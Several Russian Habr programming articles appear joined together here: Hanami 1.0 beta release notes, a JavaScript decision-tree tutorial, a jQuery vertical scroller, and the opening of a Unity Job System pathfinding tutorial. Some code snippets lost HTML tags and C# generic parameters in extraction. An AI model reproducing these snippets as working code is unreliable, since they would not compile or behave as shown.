[hanami] [INFO] (0.001738s) INSERT INTO `schema_migrations` (`filename`) VALUES ('20170213123250_create_books.rb')
[hanami] [INFO] Finished applying migration 20170213123250_create_books.rb, direction: up, took 0.004091 seconds
```
### Улучшенный генератор модели
Генератор модели отныне создает и файл миграции для сущности, которую генерирует.
```
➜ bundle exec hanami generate model book
create lib/bookshelf/entities/book.rb
create lib/bookshelf/repositories/book_repository.rb
create db/migrations/20170213123250_create_books.rb
create spec/bookshelf/entities/book_spec.rb
create spec/bookshelf/repositories/book_repository_spec.rb
```
Это сгенерирует сущность, а также соответствующие репозиторий, миграцию, и шаблоны для тестов.
Миграции сразу содержат код для создания таблицы, первичного ключа и временных меток.
```
# db/migrations/20170213123250_create_books.rb
Hanami::Model.migration do
change do
create_table :books do
primary_key :id
column :created_at, DateTime, null: false
column :updated_at, DateTime, null: false
end
end
end
```
### `config/boot.rb`
Новые проекты будут создаваться с новым файлом: `config/boot.rb`
```
require_relative './environment'
Hanami.boot
```
Это полезно для запуска сервисов окружения Hanami, особенно без доступа к серверу или консоли. Типичный сценарий — Sidekiq [Sidekiq](http://sidekiq.org). Если ты хочешь запускать асинхронные задачи с этой очередью сообщений, запусти процесс так:
```
bundle exec sidekiq -r ./config/boot.rb
```
### Минорные изменения
Чтобы посмотреть полный список изменений, посмотрите в [CHANGELOG](https://github.com/hanami/hanami/blob/master/CHANGELOG.md) и [features list](https://github.com/hanami/hanami/blob/master/FEATURES.md).
Обновленные релизом гемы
------------------------
* `hanami-1.0.0.beta1`
* `hanami-model-1.0.0.beta1`
* `hamami-controller-1.0.0.beta1`
* `hanami-assets-1.0.0.beta1`
* `hanami-mailer-1.0.0.beta1`
* `hanami-helpers-1.0.0.beta1`
* `hanami-view-1.0.0.beta1`
* `hanami-validations-1.0.0.beta1`
* `hanami-router-1.0.0.beta1`
* `hanami-utils-1.0.0.beta1`
Contributors
------------
Мы признательны каждому из тех, кто помогал выпустить релиз. Вот список этих замечательный людей:
* [Adrian Madrid](https://github.com/aemadrid)
* [Alfonso Uceda](https://github.com/AlfonsoUceda)
* [Andy Holland](https://github.com/AMHOL)
* [Bhanu Prakash](https://github.com/bhanuone)
* [Gabriel Gizotti](https://github.com/gizotti)
* [Jakub Pavlík](https://github.com/igneus)
* [Kai Kuchenbecker](https://github.com/kaikuchn)
* [Ksenia Zalesnaya](https://github.com/ksenia-zalesnaya)
* [Leonardo Saraiva](https://github.com/vyper)
* [Lucas Hosseini](https://github.com/beauby)
* [Marcello Rocha](https://github.com/mereghost)
* [Marion Duprey](https://github.com/TiteiKo)
* [Marion Schleifer](https://github.com/marionschleifer)
* [Matias H. Leidemer](https://github.com/matiasleidemer)
* [Mikhail Grachev](https://github.com/mgrachev)
* [Nick Rowlands](https://github.com/rowlando)
* [Nikita Shilnikov](https://github.com/flash-gordon)
* [Oana Sipos](https://github.com/oana-sipos)
* [Ozawa Sakuro](https://github.com/sakuro)
* [Pascal Betz](https://github.com/pascalbetz)
* [Philip Arndt](https://github.com/parndt)
* [Piotr Solnica](https://github.com/solnic)
* [Semyon Pupkov](https://github.com/artofhuman)
* [Thorbjørn Hermansen](https://github.com/thhermansen)
* [Tiago Farias](https://github.com/tiagofsilva)
* [Victor Franco](https://github.com/docStonehenge)
* [Vladimir Dralo](https://github.com/vladra)
* [alexd16](https://github.com/alexd16)
* [b264](https://github.com/b264)
* [yjukaku](https://github.com/yjukaku)
Как обновиться с предыдущей версии
----------------------------------
Если ты хочешь обновить свой проект с `v0.9`, обрати внимание на [руководство по обновлению](/guides/upgrade-notes/v100beta1).
От переводчика
--------------
Так как финальный релиз уже не за горами, пора наконец попробовать этот фреймворк, если вы еще не успели этого сделать.
Для тех, кому привычнее читать на русском — хорошие новости: [перевод официальной документации и гайдов](https://github.com/translation-gang/ru.hanami.github.io) уже идет. Смотрите в пул-реквесты, присоединяйтесь, присылайте свои. | https://habr.com/ru/post/321938/ | null | ru | null |
# Деревья принятия решений на JavaScript
В качестве практического приложения к [предыдущей статье](http://habrahabr.ru/post/171759/), хочу предоставить крошечную JavaScript библиотеку для построения деревьев и леса принятия решений.

Ниже представлены демки, которые демонстрируют классификацию точек на двухмерной плоскости — определение цвета точки, базируясь на значениях её координат (x, y):
* [Decision Tree demo](http://fiddle.jshell.net/92Jxj/show/light/)
* [Random Forest demo](http://fiddle.jshell.net/7WsMf/show/light/)
Данные алгоритмы точно так же можно применить и для классификации объектов многомерного пространства. Объекты обучающей выборки могут содержать как числовые так и нечисловые атрибуты:
**В зависимости от типа атрибута используются различные предикаты для разбиения обучающего множества**
```
var predicates = {
// предикат для нечисловых атрибутов
'==': function (a, b) { return a == b },
// например, группу людей можно разделить по цвету глаз:
// в одну подгруппу поместим людей с зелёными глазами (цвет глаз == "зелёный"),
// в другую группу - всех остальных
// предикат для числовых атрибутов
'>=': function (a, b) { return a >= b }
// например, группу людей можно разделить по возрасту:
// в одну подгруппу поместим людей, которым больше 18 лет (возраст >= 18),
// в другую группу - всех остальных
};
```
Давайте рассмотрим использование данной библиотеки на игрушечном примере.
#### Классификация персонажев из мультсериала Симпсоны
Попытаемся определить пол персонажа, основываясь на таких признаках, как длина волос, возраст и вес.
Обучающая выборка:
| | | | | |
| --- | --- | --- | --- | --- |
| **Персонаж** | **Длина волос (дюймы)** | **Вес (фунты)** | **Возраст** | **Пол** |
| Гомер | 0 | 250 | 36 | М |
| Мардж | 10 | 150 | 34 | Ж |
| Барт | 2 | 90 | 10 | М |
| Лиза | 6 | 78 | 8 | Ж |
| Мэгги | 4 | 20 | 1 | Ж |
| Эйб | 1 | 170 | 70 | М |
| Сельма | 8 | 160 | 41 | Ж |
| Отто | 10 | 180 | 38 | М |
| Красти | 6 | 200 | 45 | М |
**Формируем обучающую выборку средствами JavaScript**
```
var data =
[{person: 'Homer', hairLength: 0, weight: 250, age: 36, sex: 'male'},
{person: 'Marge', hairLength: 10, weight: 150, age: 34, sex: 'female'},
{person: 'Bart', hairLength: 2, weight: 90, age: 10, sex: 'male'},
{person: 'Lisa', hairLength: 6, weight: 78, age: 8, sex: 'female'},
{person: 'Maggie', hairLength: 4, weight: 20, age: 1, sex: 'female'},
{person: 'Abe', hairLength: 1, weight: 170, age: 70, sex: 'male'},
{person: 'Selma', hairLength: 8, weight: 160, age: 41, sex: 'female'},
{person: 'Otto', hairLength: 10, weight: 180, age: 38, sex: 'male'},
{person: 'Krusty', hairLength: 6, weight: 200, age: 45, sex: 'male'}];
```
После чего — строим дерево принятия решений:
**Код для построения классификаторов**
```
var config = {
// обучающая выборка
trainingSet: data,
// название атрибута, который содержит название класса, к которому относится тот или иной элемент обучающей выборки
categoryAttr: 'sex',
// масив атрибутов, которые должны игнорироваться при построении дерева
ignoredAttributes: ['person']
// при желании, можно установить ограничения:
// максимальная высота дерева
// maxTreeDepth: 10
// порог энтропии, при достижении которого следует остановить построение дерева
// entropyThrehold: 0.05
// порог количества элементов обучающей выборки, при достижении которого следует остановить построение дерева
// minItemsCount: 3
};
// построение дерева принятия решений:
var decisionTree = new dt.DecisionTree(config);
// вот так можно пострить лес принятия решений:
var numberOfTrees = 3;
var randomForest = new dt.RandomForest(config, numberOfTrees);
```
Теперь, с помощью построенных классификаторов можно классифицировать других персонажей мультфильма, например:
**Использование построенных классификаторов**
```
var comic = {person: 'Comic guy', hairLength: 8, weight: 290, age: 38};
var decisionTreePrediction = decisionTree.predict(comic);
// результатом классификации с использованием дерева принятия решений
// является название класса, к которому следует отнести классифицируемый объект
var randomForestPrediction = randomForest.predict(comic);
// результатом классификации с использованием леса деревьев принятия решений
// есть объект, полями которого являются названия классов,
// а значениями полей - является количество деревьев, которые "проголосовали" за то,
// что классифицируемый объект принадлежит к соответствующему классу
//
// таким образом - чем больше деревьев проголосовало за какой-то класс,
// тем больше вероятность того, что объект относится к данному классу
```
Если визуализировать дерево, то можно заметить, что возраст не влияет на пол персонажей :-)

Исходники библиотеки расположены на [GitHub](https://github.com/lagodiuk/decision-tree-js)
Ссылка на демку с классифкатором Симпоснов: [jsfiddle.net/xur98](http://jsfiddle.net/xur98/)
Данные взяты из презентации: [www.cs.sjsu.edu/faculty/lee/cs157b/ID3-AllanNeymark.ppt](http://www.cs.sjsu.edu/faculty/lee/cs157b/ID3-AllanNeymark.ppt)
В качестве заключения хочу поделиться идеей о поисковой системе, которая ранжирует результаты поиска на стороне клиента.
В ответ на поисковый запрос возвращается список сниппетов. К каждому сниппету прикрепляется вектор атрибутов, описывающих соответствующий сайт. Это могут быть как статические атрибуты (среднее количество котиков на сайте, PageRank и т.п.), так и динамические атрибуты, указывающие на степень соответствия содержимого сайта поисковому запросу.
В локальном хранилище браузера можно сохранять историю кликов пользователя — каждому клику будет соответствовать вектор атрибутов. На этих векторах можно обучать классификатор (который тоже хранить локально), и с его помощью ранжировать результаты поиска на стороне клиента.
Возможно это поможет обеспечить баланс между анонимностью и ранжированием результатов в соответствии со вкусами пользователя.
P.S.
Мне сообщили, что в Хроме и Яндекс Браузере демки не работают.
Браузеры, в которых я проверял демки: Safari 6.0 и 7.0, Firefox 8.0 и 26.0, Google Chrome 31.0 — в них должны работать.
Постараюсь разобраться в чём проблема, и пофиксить.
P.P.S.
Пофиксил. Теперь демки должны работать и в Яндекс Браузере и в Хроме.
Причина была в том, что к jsfiddle подключал JS код, который хостится на гитхабе (более подробное описание здесь: [stackoverflow.com/questions/17341122/link-and-execute-external-javascript-file-hosted-on-github](http://stackoverflow.com/questions/17341122/link-and-execute-external-javascript-file-hosted-on-github)) | https://habr.com/ru/post/208952/ | null | ru | null |
# Vertical scroll при помощи Javascript
Часто попадаются блоки рекламы, где текст, прокручивается вертикально. Для того чтобы сделать такой блок можно использовать несколько технологий: Flash, Silverlight, Javascript. Для решения своей задачи я использовал Javascript. Из плюсов можно выделить то, что нет необходимости ставить дополнительные плагины.
В качестве вспомогательного Фреймворка был выбран jQuery. Это поможет решить проблему кроссбраузерности.
#### Задача
Необходимо показывать текстовые сообщения (ссылки, рисунки) в блоке определенной ширины. Сообщения должны отображаться по очереди. Цикл отображения не ограничен временными интервалами.
#### Возможные варианты решений
В качестве вариантов решения я рассматривал следующие:
* На каждом шаге добавлять в конец блока текст, который уже был отображен. Таким образом, список будет увеличиваться, но никогда не закончится.
* Отображать список сообщений по очереди и в момент отображения последнего сообщения прокручивать его сначала. Это получится такой себе зацикленный список.
* В блоке, для отображения сообщений хранить только текущее сообщение и следующее. На каждом шаге обновлять список.
#### Достоинства и недостатки предложенных вариантов
При использовании первого варианта были замечены следующие недостатки: где то после пятой итерации блок начал «плыть», то есть возникла необходимость в коррекции; данные, которые уже были показаны, остаются в блоке, хотя они там уже не нужны. Как результат через небольшой промежуток времени браузер начинает «подтормаживать».
Вариант номер два уже лучше. Нет бессмысленного хранения данных, но блок по прежнему «плывет».
Вариант номер три и стал решением поставленной задачи.
#### Реализация
Код на Javascript:
> `**var** scrollerstep = 1;
>
> **var** lefttime = 0;
>
> **var** scroll_interval=5000;
>
> **var** scroll_speed=50;
>
> **var** part = 1;
>
> **var** step = 50;
>
> **var** delta = 0;
>
> **var** delta_d = 1;
>
> **var** correct = 0;
>
> **var** step_l = 0;
>
> **var** scrol__data = **new** Array();
>
> **var** scroll_text_id = 'scroll\_text';
>
> **var** scroll_text_class = 'scroll\_data';
>
>
>
> **function** scroll_add(str) {
>
> scrol__data[scrol__data.length] = str;
>
> }
>
>
>
> **function** set_Interval(interval){
>
> scroll_interval = interval;
>
> }
>
>
>
> **function** set_Speed(speed){
>
> scroll_speed = speed;
>
> }
>
>
>
> **function** runScroll() {
>
> **if** (part > scrol__data.length - 1) {
>
> $('#'+scroll_text_id).css('top', '0px');
>
> $('#'+scroll_text_id).attr('innerHTML', '');
>
> $('#'+scroll_text_id).append('+scroll\_text\_class+'">' + scrol\_\_data[scrol\_\_data.length - 1] + '');
>
> part = 0;
>
> }
>
> **if** (part != 0) {
>
> $('#'+scroll\_text\_id).css('top', '0px');
>
> $('#'+scroll\_text\_id).attr('innerHTML', '');
>
> $('#'+scroll\_text\_id).append('+scroll\_text\_class+'">' + scrol\_\_data[part - 1] + '');
>
> }
>
>
>
> **var** c\_data = '+scroll\_text\_class+'">' + scrol\_\_data[part] + '';
>
> part = part + 1;
>
> step\_l = 0;
>
> $('#'+scroll\_text\_id).append(c\_data);
>
> lefttime = setInterval("scrollText()", scroll\_speed);
>
> }
>
>
>
> **function** scrollText() {
>
> currstop = parseInt(-1 \* (step) - delta);
>
> **if** (parseInt(step\_l) >= currstop) {
>
> nextval = parseInt($('#'+scroll\_text\_id).css('top')) - scrollerstep + 'px';
>
> step\_l = step\_l - scrollerstep;
>
> $('#'+scroll\_text\_id).css('top', nextval);
>
> } **else** {
>
> window.clearInterval(lefttime);
>
> }
>
> }
>
>
>
> **function** scroll\_run(){
>
> $('#'+scroll\_text\_id).append('+scroll\_text\_class+'">' + scrol\_\_data[0] + '');
>
> setInterval("runScroll()", scroll\_interval);
>
> }`
Подключение и инициализация:
> `http-equiv="Content-Type" content="text/html; charset=UTF-8"**>**
>
> Vertical scroll
>
> type="text/javascript" src="jquery.js"**>**
>
> type="text/javascript" src="scroll.js"**>**
>
> type="text/css"**>**
>
> **.scroll\_data**{
>
> **display**:**block**;
>
> **height**:50px;
>
> **margin**:0px;
>
> **padding**:0px;
>
> **vertical-align**:**middle**;
>
> }
>
> **.scroll\_block**{
>
> **position**:**relative**;
>
> **top**:50px;
>
> **border**:1px **solid** #DDDDDD;
>
> **width**:400px;
>
> **height**:50px;
>
> **overflow**:**hidden**;
>
> }
>
> **.scroll\_text**{
>
> **position**:**absolute**;
>
> **right**:0px;
>
> **top**:0px;
>
> **width**:100%;
>
> }
>
>
>
>
>
>
>
> type="text/javascript"**>**
>
> $(document).ready(**function**() {
>
> set_Interval(3000);
>
> set_Speed(30);
>
> scroll_add('string1');
>
> scroll_add('string2');
>
> scroll_add('string3');
>
> scroll_add('string4');
>
> scroll_add('string5');
>
> scroll_add('string6');
>
> scroll_run();
>
> });
>
>
>
> class="scroll\_block"**>**
>
> id="scroll\_text" class="scroll\_text"**>**`
#### Результат
Результат работы можно посмотреть [тут](http://creafile.com/widgets/scroll/)
Скачать исходные коды можно по этой [ссылке](http://creafile.com/widgets/scroll/scroll.zip)
Надеюсь это решение будет полезно. | https://habr.com/ru/post/101304/ | null | ru | null |
# Job system и поиск пути
### Карта
В [предыдущей статье](https://habr.com/post/420829/) я разобрал, что из себя представляет новая система задач **Job system**, как она работает, как создавать задачи, наполнять их данными и выполнять многопоточные вычисления и лишь в двух словах объяснил где можно использовать эту систему. В этой статье я попробую разобрать конкретный пример того где можно использовать эту систему, чтобы получить большую производительность.
Так как система изначально разработана с целью выполнения работы с данными, она отлично подходит для решения задач по поиску пути.
В **unity** уже есть хорошая система поиска пути [NavMesh](https://docs.unity3d.com/ru/current/Manual/Navigation.html), но она не работает в 2D проектах, хотя на том же *ассет сторе* есть куча готовых решений. Ну, а мы попробуем создать не просто систему которая будет искать пути на созданной карте, а сделаем эту самую карту динамичной, чтобы каждый раз когда что-то на ней будет меняться система будет создавать новую карту, и все это конечно мы будем вычислять с помощью новой системы задач, чтобы не нагружать главный поток.
**Пример работы системы**
В примере на карте строиться сетка, есть бот и препятствие. Сетка перестраивается каждый раз когда мы изменим какие либо свойства карты, будь то ее размер или позицию.
Для плоскостей я использовал простой **SpriteRenderer**, у этого компонента есть отличное свойство **bounds** с помощью которого можно легко узнать размеры карты.
Вот в общем и все для начала, но не будем останавливаться и сразу перейдем к делу.
Начнем со скриптов. И первым будет скрипт препятствия **Obstacle**.
**Obstacle**
```
public class Obstacle : MonoBehaviour {
}
```
Внутри класса **Obstacle** будем отлавливать все изменения препятствий на карте, к примеру изменение позиции или размера объекта.
Далее можно создать класс карты **Map**, на котором будет строиться сетка и унаследуем его от класса **Obstacle**.
**Map**
```
public sealed class Map : Obstacle {
}
```
Класс **Map** также будет отслеживать все изменения на карте, чтобы перестроить сетку если будет нужно.
Для этого наполним базовый класс **Obstacle** всеми необходимыми переменными и методами для отслеживания изменений объекта.
**Obstacle**
```
public class Obstacle : MonoBehaviour {
public new SpriteRenderer renderer { get; private set;}
private Vector2 tempSize;
private Vector2 tempPos;
protected virtual void Awake() {
this.renderer = GetComponent();
this.tempSize = this.size;
this.tempPos = this.position;
}
public virtual bool CheckChanges() {
Vector2 newSize = this.size;
float diff = (newSize - this.tempSize).sqrMagnitude;
if (diff > 0.01f) {
this.tempSize = newSize;
return true;
}
Vector2 newPos = this.position;
diff = (newPos - this.tempPos).sqrMagnitude;
if (diff > 0.01f) {
this.tempPos = newPos;
return true;
}
return false;
}
public Vector2 size {
get { return this.renderer.bounds.size;}
}
public Vector2 position {
get { return this.transform.position;}
}
}
```
Здесь переменная **renderer** будет иметь ссылку на компонент **SpriteRenderer**, а переменные **tempSize** и **tempPos** будут использоваться для отслеживания изменений размера и позиции объекта.
Виртуальный метод **Awake** будет использоваться для инициализации переменных, а виртуальный метод **CheckChanges** будет отслеживать текущие изменения размера и позиции объекта и возвращать **boolean** результат.
На этом пока оставим скрипт **Obstacle** и перейдем к самому скрипту карты **Map** где также наполним его необходимыми параметрами для работы.
**Map**
```
public sealed class Map : Obstacle {
[Range(0.1f, 1f)]
public float nodeSize = 0.5f;
public Vector2 offset = new Vector2(0.5f, 0.5f);
}
```
Переменная **nodeSize** будет указывать размер ячеек на карте, здесь я ее ограничил размера от 0.1 до 1, чтобы ячейки на сетке не были слишком мелкими, но и слишком большими. Переменная **offset** будет использоваться для отступа на карте при постройке сетки, чтобы сетка не строилась по краям карты.
Раз теперь на карте есть две новые переменные, то получается что их изменения также нужно будет отслеживать. Для этого добавим пару переменных и перегрузить метод **CheckChanges** в классе **Map**.
**Map**
```
public sealed class Map : Obstacle {
[Range(0.1f, 1f)]
public float nodeSize = 0.5f;
public Vector2 offset = new Vector2(0.5f, 0.5f);
private float tempNodeSize;
private Vector2 tempOffset;
protected override void Awake() {
base.Awake();
this.tempNodeSize = this.nodeSize;
this.tempOffset = this.offset;
}
public override bool CheckChanges() {
float diff = Mathf.Abs(this.tempNodeSize - this.nodeSize);
if (diff > 0.01f) {
this.tempNodeSize = this.nodeSize;
return true;
}
diff = (this.tempOffset - this.offset).sqrMagnitude;
if (diff > 0.01f) {
this.tempOffset = this.offset;
return true;
}
return base.CheckChanges();
}
}
```
Готово. Теперь на сцене можно создать спрайт карты и кинуть на него скрипт **Map**.

Тоже самое проделаем с препятствием — создадим простой спрайт на сцене и кинем на него скрипт **Obstacle**.

Теперь у нас есть на сцене объекты карты и препятствия.
За отслеживание всех изменений на карте будет отвечать скрипт **Map** где в методе **Update** каждый кадр будем проверять этим самые изменения.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код…*/
private bool requireRebuild;
private void Update() {
UpdateChanges();
}
private void UpdateChanges() {
if (this.requireRebuild) {
print(“Что то изменилось, необходимо перестроить карту!”);
this.requireRebuild = false;
} else {
this.requireRebuild = CheckChanges();
}
}
/*...остальной код…*/
}
```
Таким образов в методе **UpdateChanges** карта будет отслеживать пока только свои изменения. Можно даже сейчас запустить игру и попытаться изменить размер карты или отступ **offset**, чтобы убедиться, что все изменения отслеживаются.
Теперь необходимо как-то отслеживать изменения самих препятствий на карте. Для этого каждое препятствие будем помещать в список на карте, который в свою очередь будет обновляться каждый кадр в методе **Update**.
В классе **Map** создадим список всех возможных препятствий на карте и пару статических методов для их регистрации.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код…*/
private static Map ObjInstance;
private List obstacles = new List();
/\*...остальной код…\*/
public static bool RegisterObstacle(Obstacle obstacle) {
if (obstacle == Instance) return false;
else if (Instance.obstacles.Contains(obstacle) == false) {
Instance.obstacles.Add(obstacle);
Instance.requireRebuild = true;
return true;
}
return false;
}
public static bool UnregisterObstacle(Obstacle obstacle) {
if (Instance.obstacles.Remove(obstacle)) {
Instance.requireRebuild = true;
return true;
}
return false;
}
public static Map Instance {
get {
if (ObjInstance == null) ObjInstance = FindObjectOfType();
return ObjInstance;
}
}
}
```
В статическом методе **RegisterObstacle** будем регистрировать новое препятствие **Obstacle** на карте и добавлять его в список, но прежде важно учитывать, что сама карта также наследуется от класса **Obstacle** и поэтому первым действием в методе нужно проверять не пытаемся ли мы зарегистрировать саму карту как препятствие.
Статический метод **UnregisterObstacle** наоборот исключает препятствие с карты и удаляет его из списка, когда допустим мы его уничтожаем.
При этом каждый раз когда мы добавляем или убираем препятствие с карты необходимо пересоздать саму карту, поэтому после выполнения этих статических методов устанавливаем переменной **requireRebuild** значение **true** .
Также, чтобы иметь простой доступ к скрипту **Map** из любого скрипта, я создал статическое свойство **Instance** которое вернет мне этот самый экземпляр карты **Map**.
Теперь вернемся обратно в скрипт **Obstacle** где будем регистрировать препятствие на карте, для этого добавим в него пару методов **OnEnable** и **OnDisable**.
**Obstacle**
```
public class Obstacle : MonoBehaviour {
/*...остальной код…*/
protected virtual void OnEnable() {
Map.RegisterObstacle(this);
}
protected virtual void OnDisable() {
Map.UnregisterObstacle(this);
}
}
```
Каждый раз когда мы будем создавать новое препятствие во время игры на карте, оно будет автоматически регистрироваться в методе **OnEnable**, где будет учитываться при постройки новой сетки и убирать себя с карты в методе **OnDisable** при его уничтожении или отключении.
Осталось только отследить изменения самих препятствий в скрипте **Map** в перегруженном методе **CheckChanges**.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код…*/
public override bool CheckChanges() {
float diff = Mathf.Abs(this.tempNodeSize - this.nodeSize);
if (diff > 0.01f) {
this.tempNodeSize = this.nodeSize;
return true;
}
diff = (this.tempOffset - this.offset).sqrMagnitude;
if (diff > 0.01f) {
this.tempOffset = this.offset;
return true;
}
foreach(Obstacle obstacle in this.obstacles) {
if (obstacle.CheckChanges()) return true;
}
return base.CheckChanges();
}
/*...остальной код…*/
}
```
Теперь у нас есть карта, препятствия — в общем все, что нужно для постройки сетки и теперь можно переходить к самому главному.
#### Постройка сетки
Сетка, в простейшем варианте это двумерный массив точек. Чтобы ее построить нужно знать размеры карты и размер точек на ней, после некоторых расчетов получаем кол-во точек по горизонтали и вертикали, это и есть наша сетка.
Есть много способов поиска пути на сетке. В этой статье все же главное понять как правильно использовать возможности системы задач, поэтому здесь я не буду рассматривать разные варианты поиска пути, их преимущества и недостатки, а возьму простейший вариант поиска [A\*](https://ru.wikipedia.org/wiki/A*).
В этом случае все точки на сетке должны иметь помимо позиции также координаты и свойство проходимости.
С проходимостью, я думаю, все понятно зачем оно нужно, а вот координаты будут указывать на порядок расположения точки на сетке, эти координаты не привязаны конкретно к позиции точки в пространстве. Ниже на картинке изображена простая сетка, показывающая отличия координат от позиции.

*Почему координаты?*
Дело в том, что в unity для указания позиции объекта в пространстве используется простой **float** который весьма неточен и может быть дробным или отрицательным числом, поэтому его будет сложно использовать для реализации поиска пути на карте. Координаты же выполнены в виде четкого **int** который всегда будет положительным и с которым работать намного проще при поиске соседних точек.
Для начала определим объект точки, это будет простая структур **Node**.
**Node**
```
public struct Node {
public int id;
public Vector2 position;
public Vector2Int coords;
}
```
Эта структура будет содержать позицию **position** в виде **Vector2**, где с помощью этой переменной мы будем отрисовывать точку в пространстве. Переменная координат **coords** в виде **Vector2Int** будут указывать координаты точки на карте, а переменная **id** ее числовой номер по счету с помощью нее мы будем сравнивать разные точки на сетке и проверять существование точки.
Проходимость точки будет указываться в виде ее **boolean** свойства, но так как мы не можем использовать *преобразуемые типы* данных в системе задач, то укажем ее проходимость в виде **int** числа, для этого я использовал простое перечисление **NodeType**, где: 0 — это не проходимая точка, а 1 — проходимая.
**NodeType и Node**
```
public enum NodeType {
NonWalkable = 0,
Walkable = 1
}
public struct Node {
public int id;
public Vector2 position;
public Vector2Int coords;
private int nodeType;
public bool isWalkable {
get { return this.nodeType == (int)NodeType.Walkable;}
}
public Node(int id, Vector2 position, Vector2Int coords, NodeType type) {
this.id = id;
this.position = position;
this.coords = coords;
this.nodeType = (int)type;
}
}
```
Также для удобства работы с точкой я перегружу метод **Equals**, чтобы было проще сравнивать точки и также дополню проверочный метод на существование точки.
**Node**
```
public struct Node {
/*...остальной код…*/
public override bool Equals(object obj) {
if (obj is Node) {
Node other = (Node)obj;
return this.id == other.id;
} else return base.Equals(obj);
}
public static implicit operator bool(Node node) {
return node.id > 0;
}
}
```
Так как номер **id** точки на сетке будет начинаться с 1 единицы, то я буду проверять существование точки как условие что ее **id** больше 0.
Переходим в класс **Map** где подготовим все для создания карты.
У нас уже есть проверка на изменение параметров карты, теперь нужно определить как именно будет выполняться процесс построения сетки. Для этого создадим одну новую переменную и несколько методов.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код…*/
public bool rebuilding { get; private set; }
public void Rebuild() {}
private void OnRebuildStart() {}
private void OnRebuildFinish() {}
/*...остальной код…*/
}
```
Свойство **rebuilding** будет показывать идет ли процесс построения сетки. Метод **Rebuild** будет собирать данные и задачи для построения сетки, далее метод **OnRebuildStart** будет запускать процесс построения сетки и метод **OnRebuildFinish** будет выполнять сбор данных из задач.
Теперь изменим немного метод **UpdateChanges** так чтобы учитывалось условие построения сетки.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код…*/
public bool rebuilding { get; private set; }
private void UpdateChanges() {
if (this.rebuilding) {
print(“Идет построение сетки...”);
} else {
if (this.requireRebuild) {
print(“Что то изменилось, необходимо перестроить карту!”);
Rebuild();
} else {
this.requireRebuild = CheckChanges();
}
}
}
public void Rebuild() {
if (this.rebuilding) return;
print(“Перестраиваю карту!”);
OnRebuildStart();
}
private void OnRebuildStart() {
this.rebuilding = true;
}
private void OnRebuildFinish() {
this.rebuilding = false;
}
/*...остальной код…*/
}
```
Как вы видите теперь в методе **UpdateChanges** есть условие, что пока идет построение старой сетки не начинать строить новую, а также в методе **Rebuild** первый действием проверяется не идет ли уже процесс построение сетки.
#### Решение задачи
Теперь немного о самом процессе постройки карты.
Так как для построения карты мы будем использовать систему задач и строить сетку параллельно, я использовал тип задачи **IJobParallelFor**, которая будет выполняться определенное число раз. Чтобы не нагружать процессом постройки какую-то одну отдельную задачу, будем использовать пул задач упакованных в один **JobHandle**.
Чаще всего, чтобы построить сетку используют два цикла вложенных друг в друга, чтобы строить к примеру по горизонтали и вертикали. В этом примере мы также будем строить сетку сначала по горизонтали, а потом по вертикали. Для этого в методе **Rebuild** вычислим кол-во горизонтальных и вертикальных точек, потом там же в методе **Rebuild** пройдемся циклом по вертикальным точкам, а горизонтальные уже будем строить параллельно в задаче. Чтобы лучше представить себе процесс построения взглянем на анимацию ниже.
**Постройка сетки**
Кол-во вертикальных точек будет указывать на кол-во задач, в свою очередь каждая задача будет строить точки только по горизонтали, после выполнения всех задач точки суммируются в одном списке. Именно поэтому мне и необходимо использовать задачу типа **IJobParallelFor**, чтобы в метод **Execute** передавать индекс точки на сетке по горизонтали.
И так структура точек у нас есть, теперь можно создать саму структуру задачи **Job** и унаследовать ее от интерфейса **IJobParallelFor**, тут все просто.
**Job**
```
public struct Job : IJobParallelFor {
public void Execute(int index) {}
}
```
Возвращаемся в методе **Rebuild** класса **Map**, где произведем нужные расчеты по замеру сетки.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код...*/
public void Rebuild() {
if (this.rebuilding) return;
print(“Перестраиваю карту!”);
Vector2 mapSize = this.size - this.offset * 2f;
int horizontals = Mathf.RoundToInt(mapSize.x / this.nodeSize);
int verticals = Mathf.RoundToInt(mapSize.y / this.nodeSize);
if (horizontals <= 0) {
OnRebuildFinish();
return;
}
Vector2 center = this.position;
Vector2 origin = center - (mapSize / 2f);
OnRebuildStart();
}
/*...остальной код...*/
}
```
В методе **Rebuild** рассчитаем точный размер карты **mapSize** с учетом отступа, далее в **verticals** запишем кол-во точек по вертикали, а в **horizontals** кол-во точек по горизонтали. Если кол-во точек по вертикали равна 0 значит прекращаем постройку карты и вызываем метод **OnRebuildFinish**, чтобы завершить процесс. Переменная **origin** укажет место откуда мы будем начинать строить сетку — в примере это левая нижняя точка на карте.
Теперь можно переходить к самим задачам и наполнить их данными.
Во время постройки сетки в задаче нужен будет массив **NativeArray** куда мы будем помещать полученные точки, также раз у нас есть препятствия на карте нужно так же их будет передавать в задачу, для этого будем использовать еще один массив **NativeArray**, далее нам понадобиться в задаче размер точек, начальная позиция откуда будем строить точки, а также начальные координаты ряда.
**Job**
```
public struct Job : IJobParallelFor {
[WriteOnly]
public NativeArray array;
[ReadOnly]
public NativeArray bounds;
public float nodeSize;
public Vector2 startPos;
public Vector2Int startCoords;
public void Execute(int index) {}
}
```
Массив точек **array** я пометил атрибутом **WriteOnly** так как в задаче необходимо будет только “*записывать*” полученные точки в массив, напротив же массив препятствий **bounds** помечен атрибутом **ReadOnly** так как в задаче мы будем только “*читать*” данные из этого массива.
Ну и пока все, к расчету самих точек перейдем позже.
Теперь вернемся в класс **Map** где обозначим все переменные задействованные в задачах.
Здесь во-первых нам понадобиться глобальный **handle** задач, массив препятствий в виде **NativeArray**, список задач который будет содержать все точки полученные на сетке и **Dictionary** со всеми координатами и точками на карте, чтобы удобней было их искать потом.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код...*/
private JobHandle handle;
private NativeArray bounds;
private HashSet> jobs = new HashSet>();
private Dictionary nodes = new Dictionary();
/\*...остальной код...\*/
}
```
Теперь опять возвращаемся в метод **Rebuild** и продолжим строить сетку.
Для начала инициализируем массив препятствий **bounds**, чтобы передать его в задачу.
**Rebuild**
```
public void Rebuild() {
/*...остальной код...*/
Vector2 center = this.position;
Vector2 origin = center - (mapSize / 2f);
int count = this.obstacles.Count;
if (count > 0) {
this.bounds = new NativeArray(count, Allocator.TempJob, NativeArrayOptions.UninitializedMemory);
}
OnRebuildStart();
}
```
